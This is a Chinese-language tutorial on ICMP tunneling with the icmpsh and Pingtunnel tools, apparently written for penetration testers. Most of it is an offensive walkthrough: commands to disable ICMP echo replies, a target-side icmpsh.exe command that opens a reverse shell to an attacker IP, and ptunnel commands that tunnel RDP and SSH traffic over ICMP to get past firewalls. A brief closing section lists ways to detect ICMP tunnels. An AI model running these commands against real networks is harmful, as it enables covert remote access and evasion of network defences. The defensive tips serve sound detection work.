'ICMP隧道工具的使用'

介绍

如何两台设备进行通信,需要开放端口,而ICMP不需要。ICMP消息为ping命令的回复,攻击者可利用命令行得到比回复更多的ICMP请求。每个ping命令都有相应的回复与请求。

利用环境:当使用各类上层隧道(HTTP、DNS、常规正反向端口转发等)进行的操作都失败了,常常使用ping命令访问远程计算机,尝试建立ICMP隧道,将TCP/UDP数据封装到ICMP的ping数据包中,从而穿透防火墙,实现不受限制的网络访问。

icmpsh

下载地址https://github.com/inquisb/icmpsh.git
需要依赖库 apt-get install python-impacket
由于icmp要代替系统本身的ping命令的应答程序,所以要关闭,否则shell的运行会不稳定
sysctl -w net.ipv4.icmp_echo_ignore_all=1 (恢复的话改为0)

./run.sh启动,启动后会提示你输入目标IP
192.168.1.2开始监听

目标机执行 icmpsh.exe -t 192.168.1.1 -d 500 -b 30 -s 128
即可反弹shell

PS:不知道是不是我环境的问题,kali无法使用,我这里使用两台VPS(ubantu、win server2008 R2)进行演示

Pingtunnel

1、安装

http://freshmeat.sourceforge.net/projects/ptunnel/
或使用https://github.com/esrrhs/pingtunnel/releases
tar xf PingTunnel-0.72.tar.gz 解压
cd PingTunnel
make && make install 编译

2、如果提示缺少pcap.h,则需要安装libpcap(数据包捕捉函数库)

http://www.tcpdump.org/release/libpcap-1.9.0.tar.gz
tar zxvf libpcap-1.9.0.tar.gz
cd libpcap-1.9.0
./configure


如果还是不行直接apt安装
apt-get install libpcap-dev

3、安装过程中可能出现的错误

yacc包错误: error:yacc is insufficient to compile libpcap
解决办法: sudo apt-get install -y byacc
安装完后执行
./configure
make
sudo make install

4、man pcap 查看帮助信息

5、使用

攻击机开启隧道 ptunnel -x shuteer
目标机执行 ptunnel -p 192.168.1.4 -lp 1080 -da 1.1.1.10 -dp 3389 -x shuteer
连接22端口 ptunnel -p 192.168.1.4 -lp 1080 -da 1.1.1.10 -dp 22 -x shuteer
-x 指定ICMP隧道连接的密码
-lp 指定要监听的本地TCP端口
-da 指定要转发的目标机的IP
-dp 指定要转发的目标机的TCP端口
-p 指定ICMP另一端机器的IP

命令含义:访问目标机的1080端口时,会把1.1.1.10的3389端口的数据封装在ICMP隧道里,以192.168.1.4为ICMP隧道跳板进行传输。
windos也可使用此工具,不过需要在内网windows机器上安装wincap类库。

防御ICMP隧道攻击方法

1、检测同一源的ICMP数据包的流量。一个ping命令每秒发送2个数据包,而使用ICMP隧道的浏览器会发送上千个ICMP数据包
2、注意那些payload大于64bit的ICMP数据包
3、寻找响应数据包的payload与请求数据包的payload不一致的ICMP数据包
4、检查ICMP数据包的协议与标签。例如,icmptunnel会在所有的ICMP payload前添加"TUNL"标记来识别隧道。